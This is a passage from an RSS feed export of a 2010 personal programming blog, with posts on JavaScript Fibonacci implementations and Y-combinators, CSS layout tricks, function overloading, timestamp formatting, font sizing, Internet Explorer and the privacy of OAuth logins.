Well, that would be in the ideal world. If you want to do it differently, remember that you choose your dose of pain.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-6373680903714832707?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=YTHdXp01G0s:5OURHubdVCE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/YTHdXp01G0s" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/YTHdXp01G0s/svn-git.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/11/svn-git.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-3296908143328198113</guid><pubDate>Sat, 25 Sep 2010 02:14:00 +0000</pubDate><atom:updated>2010-09-25T11:29:25.690-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Javascript</category><category domain="http://www.blogger.com/atom/ns#">y-combinator</category><category domain="http://www.blogger.com/atom/ns#">memoization</category><title>Fibonacci</title><description>Calculating the n-th &lt;a href="http://en.wikipedia.org/wiki/Fibonacci_number"&gt;Fibonacci&lt;/a&gt; in different ways:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=prettyprint&gt;// Recursive
function fib(n){
  if (n &lt; 2) return n;
  return fib(n-1) + fib(n-2);
}

// Memoized
function memFib(n){
  return memFib[n] || (memFib[n] = fib(n));
}

// Mathematical
function mathFib(n){
  return Math.floor(Math.pow(Phi, n)/Math.sqrt(5) +.5);
}
&lt;/pre&gt;
How do they compare in speed?
&lt;pre class=prettyprint&gt;[fib, memFib, mathFib].map(function(fn){
  var t0 = +new Date
  fn(30);
  return +new Date - t0
});
&lt;/pre&gt;Don't get your panties in a bunch just yet. This is an unfair fight:

&lt;ol&gt;&lt;li&gt;&lt;b&gt;&lt;code&gt;fib&lt;/code&gt;&lt;/b&gt; is simply horrible, performance-wise. It's the easiest to understand and best for demonstrating recursive functions, but that's it.&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;memFib&lt;/code&gt;&lt;/b&gt; is a great example for &lt;a href="http://en.wikipedia.org/wiki/Memoization"&gt;memoization&lt;/a&gt;, as it executes almost linearly, except for those numbers which have not been used yet. If you try running &lt;code&gt;memFib&lt;/code&gt; with &lt;code&gt;n=40&lt;/code&gt;, you will start feeling the pain, but only the first time.&lt;br /&gt;
&lt;br /&gt;
An important point to make here about memoization is, if your function will be called many times &lt;i&gt;and&lt;/i&gt; always returns the same result given the same arguments, memoizing is your friend.&lt;br /&gt;
&lt;br /&gt;
&lt;/ol&gt;We will approach browser recursion limits quickly, so I will add two more contenders: &lt;pre class=prettyprint&gt;// Y-combinator
var Yfib = Y(function(fn){ return (function(n){
  if (n &lt; 2) return n;
  return fn(n-1) + fn(n-2);
}); });

// Memoized Y-combinator
var YmemFib = Ymem(function(fn){ return (function(n){
  if (n &lt; 2) return n;
  return fn(n-1) + fn(n-2);
}); });
&lt;/pre&gt;
This is a whole different game, with n=1000:
&lt;pre class=prettyprint&gt;[mathFib, YmemFib].map(function(fn){
  var t0 = +new Date
  fn(1000);
  return +new Date - t0
});
&lt;/pre&gt;&lt;a href="http://getfirefox.com"&gt;Firefox&lt;/a&gt; 3.6.10 cries somewhere between &lt;code&gt;n=1000&lt;/code&gt; and &lt;code&gt;n=2000&lt;/code&gt; about too much recursion, and the difference is less than 10 milliseconds in favor of the mathematical formula.&lt;br&gt;

&lt;a href="http://www.google.com/chrome"&gt;Chrome&lt;/a&gt; 6.0.472.63 can handle at least &lt;code&gt;n=6000&lt;/code&gt; before exhausting its stack and has a difference of about 2 milliseconds. BOOM.

&lt;h3&gt;The Much Anticipated Morale Of The &lt;a href="http://en.wikipedia.org/wiki/Leonardo_of_Pisa"&gt;Leonardo Of Pisa&lt;/a&gt; Thingamajigs&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Go for the mathematical solution first.&lt;/b&gt; If you are not smart enough, ask Google. If Google is not smart enough, ask &lt;a href="http://tylerneylon.com/b/"&gt;Tyler&lt;/a&gt;. Seriously.&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;Memoize.&lt;/b&gt; Remember this. Get it?&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;Use a Y-combinator.&lt;/b&gt; You don't have to understand how to use it, and good luck trying. Seriously. Here you go:&lt;pre class=prettyprint&gt;function Y(fn) {
  return function(x) {
    return (fn(function(n){
     return (Y(fn))(n);
    }))(x);
  };
}
&lt;/pre&gt;To help you understand, try: &lt;a href="http://matt.might.net/articles/implementation-of-recursive-fixed-point-y-combinator-in-javascript-for-memoization/"&gt;matt.might.net&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Fixed_point_combinator"&gt;fixed point combinator on Wikipedia&lt;/a&gt;, &lt;a href="http://www.ece.uc.edu/~franco/C511/html/Scheme/ycomb.html"&gt;Electronics and Computing Systems at the University of Cincinnati&lt;/a&gt;, the book &lt;a target="_blank"  href="http://www.amazon.com/Mock-Mockingbird-Other-Logic-Puzzles/dp/0192801422?ie=UTF8&amp;tag=nulisnul-20&amp;link_code=btl&amp;camp=213689&amp;creative=392969"&gt;To Mock a Mockingbird&lt;/a&gt;, and/or some &lt;a href="http://en.wikipedia.org/wiki/Entheogen"&gt;entheogens&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;/ol&gt;The short answer: wrap this equivalent of bacon around everything. &lt;pre class=prettyprint&gt;/**
 * Memoizing Y-combinator (aka triptonomikon).
 */
function Ymem(fn) {
  var mem = this;
  return function(x) {
    return mem[x] || (mem[x] = (fn(function(n){
     return (Ymem.call(mem, fn))(n);
    }))(x));
  };
}
&lt;/pre&gt;&lt;br /&gt;
This should keep you busy until the next post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-3296908143328198113?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=js4HT1_oFjs:qeJbk1xmCKE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/js4HT1_oFjs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/js4HT1_oFjs/fibonacci.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>6</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/09/fibonacci.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-1654250981114807603</guid><pubDate>Thu, 19 Aug 2010 06:34:00 +0000</pubDate><atom:updated>2010-08-18T23:34:57.045-07:00</atom:updated><title>CSS layout helper rule</title><description>You may have used borders around elements to help during layout design:&lt;br /&gt;
&lt;pre class=prettyprint&gt; * { border:1px solid red }
&lt;/pre&gt;&lt;br /&gt;
But when you are being very stingy with your pixels, those extra border pixels can get in the way. I present to you the&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Sooper Cosmogonic Layout Helper Rule that Rulez&lt;/h3&gt;&lt;pre class=prettyprint&gt; * { background: rgba(100, 100, 100, .5) }
&lt;/pre&gt;&lt;br /&gt;
The RGBA rule allows you to specify a background color in rgb (0-255) plus an alpha (transparency) value, which will aggregate for nested objects.&lt;br /&gt;
&lt;br /&gt;
Put it at the top of your css, optionally reduce the scope to, say &lt;code&gt;article * {...}&lt;/code&gt;, and send me good karma if it works.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-1654250981114807603?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=9LVcS1j7eAo:7s3tyeGtaCo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/9LVcS1j7eAo" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/9LVcS1j7eAo/css-layout-helper-rule.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/08/css-layout-helper-rule.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-1801959513451300295</guid><pubDate>Fri, 13 Aug 2010 23:04:00 +0000</pubDate><atom:updated>2010-10-19T16:22:40.980-07:00</atom:updated><title>Filter Overload Pattern</title><description>Assume you are working with the &lt;a href="http://api.jquery.com/toggle"&gt;toggle&lt;/a&gt; function in jQuery and that you want to do something different with it. This would require writing a different plugin and naming it differently or changing the default toggle function.&lt;br /&gt;
&lt;br /&gt;
In the simplest terms, the pattern starts with a function:&lt;br /&gt;
&lt;pre class=prettyprint&gt;function stuff(s){
    if (typeof s == 'string')
      doStuffWithAString(s)
    else throwOrIgnore();
  }
&lt;/pre&gt;&lt;br /&gt;
Maybe you can't change the source code, or maybe you obsessively want to ultra-modularize your code. Either way, assume you want to use the same name to keep your source code as semantic as possible. Here is how I would do it:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=prettyprint&gt;// redefine function
  var _old_stuff = stuff;
  stuff = function(b){
    // check for special case which should be overloaded here
    if (typeof b == 'boolean')
      // new behavior
      doStuffWithABoolean(b);
    // old behavior: call previously defined function.
    else _old_stuff(b);
  };
&lt;/pre&gt;&lt;br /&gt;
If you happen to mistakenly call the block twice, you will throw the function into a self-referential (endless) loop.&lt;br /&gt;
&lt;br /&gt;
With this pattern, you can build functions that specialize in delegating functions by argument patterns, akin to classical Java method overloading. If you will be handling many patterns, it may eventually be interesting to use only one index delegator instead of a cascading pattern.&lt;br /&gt;
&lt;br /&gt;
To illustrate how amusing it is to write overcomplicated code, consider the following&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Mega Super Ultimate Listener Overload Pattern of Awesomeness&lt;/h3&gt;&lt;br /&gt;
The interface is the only public function:&lt;br /&gt;
&lt;pre class=prettyprint&gt;function transmogrify(){
  // using this function as a dictionary or map:
  for (var filter in transmogrify.filters){
    // filter functions return the name of the method to call
    var key = transmogrify.filters[filter].apply(this, arguments);
    if (key) 
      transmogrify.methods[key].apply(this, arguments);
  }
}
&lt;/pre&gt;&lt;br /&gt;
This is the extension mechanism. The filter can check argument arity, type, validity, etc.&lt;br /&gt;
&lt;pre class=prettyprint&gt;transmogrify.filters.zap = function(str, num){
  if (typeof str == 'string' &amp;&amp; typeof num == 'num')
    return 'zip';
};
transmogrify.methods.zip = function(){
  // there be beautiful code herein
};
&lt;/pre&gt;&lt;br /&gt;
I &lt;em&gt;know&lt;/em&gt; you want a function that does these two things in one go; a meta-meta-meta function. Maybe later.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-1801959513451300295?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=ZWy4OinA79Q:M_obhirpO6o:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/ZWy4OinA79Q" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/ZWy4OinA79Q/filter-overload-pattern.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/08/filter-overload-pattern.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-2399892947125027184</guid><pubDate>Wed, 11 Aug 2010 05:06:00 +0000</pubDate><atom:updated>2010-08-11T11:55:45.395-07:00</atom:updated><title>Adaptive Layout Algorithm</title><description>The difference between human hemispheres is in how they process information. We are told that one is "linear" and the other is "parallel", or that one uses images and the other uses words, etc. Stay with me while I attempt to explain how attention span is divided between them and how to design a hemisphere-balanced layout.&lt;br /&gt;
&lt;br /&gt;
Fundamentally, the difference is in the timing. If one is linear and another parallel, how many linear units (bitwidth) can be processed at a time? Depends on the base being used. As of stardate sun-2010AD, I, along with all humans I know of, communicate with our computers using binary time conversion. That means our computing languages and compilers are calculated with only 1/0 (binary) to time increments (linear-infinite). Comparatively, a human mind &lt;em&gt;is&lt;/em&gt; the plane between two values: two hemispheres.&lt;br /&gt;
&lt;br /&gt;
Back to areas of attention: text attracts one hemisphere, images attract the other. The brain needs to quickly identify how to process the "splat", then make a decision on what to pay attention to: the image of the pretty lady or the &lt;s&gt;skank&lt;/s&gt; eloquent paragraph beside it?&lt;br /&gt;
&lt;br /&gt;
More thinking: how big is the font? can I recognize any body parts relevant to my interests? FACES is what people look at first, subconsciously. There's studies with babies as the test subjects. Go read it. Anyway, more thinking, more fatigue. The less interrupted the flow is, the more efficient, the more rewarding. Interrupt is entropy, losses are negative. Got it?&lt;br /&gt;
&lt;br /&gt;
So here is Will, the conscious, constantly waking up the subconscious. Let's call her Akasha. &lt;em&gt;Note projection of opposite sexes and the allusion of memory -- a modern narcissus and echo.&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
An efficient algorithm will take into consideration this balance: good font size, balanced image to text ratio. What the &lt;i&gt;right&lt;/i&gt; balance is, is the subject for a subsequent post. Hint: it has to do with numbers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-2399892947125027184?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=wCXVCyDde6c:nqA6bJge2-c:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/wCXVCyDde6c" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/wCXVCyDde6c/adaptive-layout-algorithm.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>1</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/08/adaptive-layout-algorithm.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-8974913923449253703</guid><pubDate>Tue, 10 Aug 2010 22:42:00 +0000</pubDate><atom:updated>2010-08-10T15:42:59.752-07:00</atom:updated><title>Random content generator</title><description>&lt;code class=prettyprint&gt;&lt;br /&gt;
var i = 12;&lt;br /&gt;
while(i--) links.push({&lt;br /&gt;
  title: 'This is a title',&lt;br /&gt;
  article_text: &lt;br /&gt;
    (new Array((100*Math.random())|0 + 1))&lt;br /&gt;
      .join('Lots of dolorem in my ipsum. '),&lt;br /&gt;
  image: &lt;br /&gt;
    'http://9gag.com/photo/'+ &lt;br /&gt;
    ((32000*Math.random())|0) +&lt;br /&gt;
    '_540.jpg'&lt;br /&gt;
});&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
Boom.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-8974913923449253703?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=Uj_72N3t1_c:-0QxiRtdcEs:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/Uj_72N3t1_c" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/Uj_72N3t1_c/random-content-generator.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/08/random-content-generator.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-4983130848784183102</guid><pubDate>Sun, 08 Aug 2010 01:49:00 +0000</pubDate><atom:updated>2010-08-07T18:49:06.977-07:00</atom:updated><title>Relative font sizes</title><description>&lt;img border="0" src="http://1.bp.blogspot.com/_I1T_D2cdOg8/TF4LO5O6NdI/AAAAAAAABgQ/Ez_kp8rckDg/s1600/Screen+shot+2010-08-07+at+6.39.53+PM.png" style="float:right;margin:.6em;padding:.6em;" /&gt;&lt;br /&gt;
&lt;br /&gt;
The discussion over whether pixels (px) or ems (em) are best as a way to measure content when designing web pages is often ended with the argument that all modern browsers can scale content defined in pixels, which is not untrue.&lt;br /&gt;
&lt;br /&gt;
What falls short from this argument is that it puts the burden on the user to make the conscious decision to change the font size. The mental process could go like this:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;I'm having trouble reading this. I'm squinting. The text is too small. I'll press... what is it? oh, ctrl,+. One, two, three... no, one less so ctrl,-. There.&lt;/blockquote&gt;&lt;br /&gt;
The triviality of the example is balanced by the importance of avoiding disruption when it comes to user interaction. An action that we require from a user (in this case, attention to what we write) is impoverished by the division of said attention between the task that we want performed and adjusting the viewport.&lt;br /&gt;
&lt;br /&gt;
The whole point of affordance and usability is precisely to take the burden of thinking from the user, so it becomes an enjoyable activity. Would I like my readers to enjoy my blog? yes. Would I like my buyers to enjoy purchasing on my website? yes. Would you?&lt;br /&gt;
&lt;br /&gt;
An additional element is missing from pixels: There is research regarding the ideal width for a line of text (which I defer to you to investigate and debate). When using pixels, the rhythm and proportion of your page is much more difficult to preserve, since now it is a matter of font size and line width. If instead the layout is all dependent on font size, a person designing and coding a website can have a lot more control over the aesthetics without additional cognitive burden.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Author tweaks site css...&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
*ahem*. Got it?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-4983130848784183102?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=HW0812c7FfA:tdz5xFOlAtI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/HW0812c7FfA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/HW0812c7FfA/relative-font-sizes.html</link><author>noreply@blogger.com (Francisco Brito)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_I1T_D2cdOg8/TF4LO5O6NdI/AAAAAAAABgQ/Ez_kp8rckDg/s72-c/Screen+shot+2010-08-07+at+6.39.53+PM.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/08/relative-font-sizes.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-259837577682239583</guid><pubDate>Mon, 28 Jun 2010 22:38:00 +0000</pubDate><atom:updated>2011-11-17T17:39:23.975-08:00</atom:updated><title>Javascript timestamp formatting</title><description>&lt;em&gt;I've ran into this scenario enough times that I think it's faster to post it and search it than opening an old file :)&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
Assume that you're working with a timestamp (number of milliseconds since January 1, 1970), for example:&lt;br /&gt;
&lt;pre class="prettyprint"&gt;var t = +new Date;
&lt;/pre&gt;&lt;br /&gt;
If you want to make that a relative time like "10 minutes ago", you can use this simple function:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint"&gt;function format(timestamp){
  var now = +new Date;
  var diff = (now - timestamp)/1000;
  if (diff &lt; 60) return diff + ' seconds ago';
  if ((diff/=60) &lt; 60) return Math.floor(diff) + ' minutes ago';
  if ((diff/=24) &lt; 24) return Math.floor(diff) + ' hours ago';
  if ((diff/=7) &lt; 7) return Math.floor(diff) + ' days ago';
  if ((diff/=4) &lt; 4) return Math.floor(diff) + ' weeks ago';
  var date = new Date(timestamp);
  var month = ['January', 'February', 'March',
               'April', 'May', 'June', 'July',
               'August', 'September', 'October',
               'November', 'December'][date.getMonth()];
  var YEAR = 365*24*60*60;
  var year = (now - timestamp &lt; YEAR) ? '' : ' ' + date.getFullYear();
  return (month) + ' ' + (date.getDate()) + year;
}
&lt;/pre&gt;
I hope you find this useful.


&lt;h3&gt;&lt;em&gt;Update&lt;/em&gt;&lt;/h3&gt;
Tinkering around, I noticed that blogger has this:
&lt;pre class="prettyprint"&gt;function relative_time(time_value) {
  var values = time_value.split(" ");
  time_value = values[1] + " " + values[2] + ", " + values[5] + " " + values[3];
  var parsed_date = Date.parse(time_value);
  var relative_to = (arguments.length &gt; 1) ? arguments[1] : new Date();
  var delta = parseInt((relative_to.getTime() - parsed_date) / 1000);
  delta = delta + (relative_to.getTimezoneOffset() * 60);

  if (delta &lt; 60) {
    return 'less than a minute ago';
  } else if(delta &lt; 120) {
    return 'about a minute ago';
  } else if(delta &lt; (60*60)) {
    return (parseInt(delta / 60)).toString() + ' minutes ago';
  } else if(delta &lt; (120*60)) {
    return 'about an hour ago';
  } else if(delta &lt; (24*60*60)) {
    return 'about ' + (parseInt(delta / 3600)).toString() + ' hours ago';
  } else if(delta &lt; (48*60*60)) {
    return '1 day ago';
  } else {
    return (parseInt(delta / 86400)).toString() + ' days ago';
  }
}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-259837577682239583?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=Zfk0ElF6u-I:rtP_f2O41G4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/Zfk0ElF6u-I" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/Zfk0ElF6u-I/javascript-timestamp-formatting.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/06/javascript-timestamp-formatting.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-580580570970640294</guid><pubDate>Wed, 12 May 2010 06:08:00 +0000</pubDate><atom:updated>2010-05-11T23:08:21.406-07:00</atom:updated><title>Internet Explorer slows down the internet</title><description>Sounds like an accusation. It is.&lt;br /&gt;
&lt;br /&gt;
Take for example web standards. Don't try to feed us your crap that you have and are actively participating in all sorts of initiatives. That's great but it's the people you employ who are doing that. It is the enthusiasm of human creativity.&lt;br /&gt;
&lt;br /&gt;
Now take JavaScript. Other browsers have implemented version 1.6, 1.7, 1.8 and introduced elegant language features that allow for very cool things to be written with very little cost (size or performance, for example).&lt;br /&gt;
&lt;br /&gt;
But because the majority of people still use a shitty browser (I grant you that it has gotten better, but let's not depart from the point), web developers are forever stuck programming with the lowest level denominator only because IE6 has to be supported. Or because IE7 or IE8 incorrectly implemented something.&lt;br /&gt;
&lt;br /&gt;
How can a browser slow down the internet? Because it slows down progress by not allowing programmers to evolve and educate at higher levels. Language evolution is but an academic exercise, not something that can be popularized by mass adoption. Forget about great ideas, they won't work for your clients.&lt;br /&gt;
&lt;br /&gt;
Can anything be done? At all?&lt;br /&gt;
I wait for inertia to catch up. IE will fall. The weight of the giant &lt;em&gt;will&lt;/em&gt; leave it behind.&lt;br /&gt;
&lt;br /&gt;
Bah.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-580580570970640294?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=rQSWylgMwzk:CvxkFb-4-gw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/rQSWylgMwzk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/rQSWylgMwzk/internet-explorer-slows-down-internet.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/05/internet-explorer-slows-down-internet.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-6622107641284825397</guid><pubDate>Sun, 07 Feb 2010 00:17:00 +0000</pubDate><atom:updated>2010-06-30T16:42:19.770-07:00</atom:updated><title>Where OAuth and everything social fails</title><description>Okay, I get it. The interwebs is like the real world, but binary. We all want to play in it and feel safe. How come it hasn't taken off?&lt;br /&gt;
&lt;br /&gt;
Let's take as a hypothetical example site X. If they have made a big enough name, I'll trust them. Why? perhaps because everyone else is. The power of the masses is such that even if we're all wrong, I feel that we can also all rebel at the same time and it will be okay than if I land on some random site that ends up stealing my identity and my cats.&lt;br /&gt;
&lt;br /&gt;
I've just mentioned the fundamental problem: trust. How do you trust a service or a corporation that you cannot see, chase, yell at or run over when it pisses you off? After all, the people in customer service are but human employees, they are not the corporation. Those running the corporation are the closest thing, but up there who knows what's going on. Maybe they are nice and fix problems when they come up, or maybe they laugh at you and close your account.&lt;br /&gt;
&lt;br /&gt;
This is the kind of situation that makes legitimate businesses not flourish: lack of trust.&lt;br /&gt;
&lt;br /&gt;
Back to site X. It looks legit. Okay, that means someone knows how to keep up with web standards, etc. That's a good sign: dedication. It's no guarantee, however.&lt;br /&gt;
&lt;br /&gt;
Let's say site X gets acquired by Y, a rogue company without any particular concern for the individuals involved. The site has OAuth and whateverconnect which allows your identity provider (say, Google or Facebook) to pull the plug on the service if they become rogue. Unfortunately, they can only prevent the rogue company to do evil on your behalf. It cannot prevent them from acquiring information from you: the information cannot be taken back.&lt;br /&gt;
&lt;br /&gt;
This is the fundamental problem between real life (meatware) and virtual life (software): the model doesn't work. &lt;br /&gt;
&lt;br /&gt;
Can you imagine walking into a coffee shop and automatically telling everyone in it your home address and phone number? That's the equivalent of an email address. &lt;strong&gt;Giving you a way to contact me back doesn't mean I have to give you a way to contact everyone I know&lt;/strong&gt;.&lt;br /&gt;
&lt;br /&gt;
Message to identity providers: allow people to see my avatar and nickname and to contact me &lt;em&gt;through your service&lt;/em&gt;. That's it. Not my email address, not my contacts, not my fan clubs. It's okay if you aggregate my behavioral data along with everyone else's and profit from that information, as long as you protect my identity. That's your end of the deal in exchange for the information I choose to give you. I do buy stuff, I do need ads, and I understand you need to know about me to show me relevant stuff. Just don't sell my identity. Protect it. Your company depends on the trust that your users have.&lt;br /&gt;
&lt;br /&gt;
Furthermore, &lt;strong&gt;knowing who I am doesn't mean you should know everything I do&lt;/strong&gt;. In a way, that is equivalent to having someone follow you around, even if it's just to figure out what you like best. It's creepy and it's not because I'm doing something I'm ashamed of. It has to do with moods. If I'm in the mood for entertainment, I want to watch entertainment-related ads, not diapers. I don't need a reminder of what I should be doing instead, that's why I'm watching sports in the first place. That's why you shouldn't bundle my identity with my physical container. Each mood is a different account. Don't mix them together.&lt;br /&gt;
&lt;br /&gt;
For the people implementing and designing these standards: pay close attention to how these interactions work in the physical world. After all, these protocols have been around for thousands of years and have evolved to their current state based on what works best: evolution and selection. Being smart is not a substitute for insight and patience, it's just shortsighted.&lt;br /&gt;
&lt;br /&gt;
Before I climb off my soap box, let me add this tangential note: If I'm paying for insurance I don't just expect to get &lt;em&gt;some&lt;/em&gt; money for my stolen motorcycle. I expect you to also not make me fill 30 forms that are just a seemingly random combination of the same information: claim number, name, address, lien holder, who did my service the last time... ugh. I get it, the more information the better but &lt;strong&gt;your forms are ridiculous&lt;/strong&gt;. It is the modern equivalent of torture. Neither physical nor terrible, but very, very annoying. Pay attention to your job, there's people on the other side.&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;(off the soap box)&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
My duty as an engineer is to realize that what I create, other people consume. I can make their lives better or worse.&lt;br /&gt;
&lt;br /&gt;
My duty as a human is to realize that my attitude is other people's experience of life, and that if something sucks it is because someone made it that way, even if not on purpose.&lt;br /&gt;
&lt;br /&gt;
My footprint is someone else's path.&lt;br /&gt;
&lt;br /&gt;
